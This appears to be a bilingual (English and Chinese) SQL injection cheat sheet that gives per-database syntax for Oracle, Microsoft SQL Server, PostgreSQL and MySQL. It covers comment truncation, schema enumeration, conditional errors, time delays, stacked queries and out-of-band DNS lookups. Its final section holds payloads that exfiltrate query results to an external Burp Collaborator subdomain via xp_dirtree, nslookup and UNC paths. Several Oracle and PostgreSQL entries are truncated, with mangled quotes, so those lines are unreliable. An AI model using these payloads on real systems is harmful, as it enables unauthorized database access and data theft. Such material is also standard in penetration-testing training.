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SQL injection cheat sheet

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This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation 字符串连接

You can concatenate together multiple strings to make a single string.

database example
Oracle `‘foo’
Microsoft 'foo'+'bar'
PostgreSQL `‘foo’
MySQL 'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

Comments 注释

You can use comments to truncate a query and remove the portion of the original query that follows your input.

database example
Oracle --comment
Microsoft --comment
/*comment*/
PostgreSQL --comment
/*comment*/
MySQL #comment
-- comment [Note the space after the double dash]
/*comment*/

Database version 数据库版本

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

database example
Oracle SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

Database contents 数据库内容

You can list the tables that exist in the database, and the columns that those tables contain.

database example
Oracle SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors 条件错误

You can test a single boolean condition and trigger a database error if the condition is true.

database example
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries 批量查询

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

database example
Oracle Does not support batched queries.
Microsoft QUERY-1-HERE; QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE
MySQL Does not support batched queries.

Time delays 时间延迟

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

database example
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT sleep(10)

Conditional time delays 有条件的时间延迟

You can test a single boolean condition and trigger a time delay if the condition is true.

database example
Oracle `SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS lookup DNS查询

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

database example
Oracle The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoft exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQL copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQL The following techniques work on Windows only:
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

DNS lookup with data exfiltration 使用数据泄露进行DNS查找

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

database example
Oracle `SELECT extractvalue(xmltype(‘<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://’
Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
PostgreSQL create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := ‘copy (SELECT ‘’’') to program ''nslookup ’
MySQL The following technique works on Windows only:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

总结:

SQL注入在不同数据库的表现,可表现在这些方面:

  • String concatenation 字符串连接

  • Comments 注释

  • Database version 数据库版本的查询

  • Database contents 数据库内容的查询

  • Conditional errors 条件错误

  • Batched (or stacked) queries 批量查询

  • Time delays 时间延迟

  • Conditional time delays 有条件的时间延迟

  • DNS lookup DNS查询
    DNS lookup with data exfiltration 使用数据泄露进行DNS查找

Refs:

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